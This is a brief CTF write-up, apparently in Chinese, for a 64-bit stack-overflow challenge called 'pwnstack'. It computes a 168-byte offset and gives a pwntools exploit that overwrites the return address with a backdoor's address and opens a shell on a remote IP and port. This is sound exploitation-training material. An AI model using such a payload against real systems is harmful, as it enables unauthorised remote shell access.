pwnstack
发现是64位文件
发现vuln双击进入
看到read知道这里是要将B1（177）的数据输入buf，这里涉及了栈溢出
发现system和binsh
后门
A8十进制是168
exp：
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('61.147.171.105','52779')
padding = b'a'*(0xa8)
door = 0x400762
payload = padding + p64(door)
io.sendline(payload)
io.interactive()
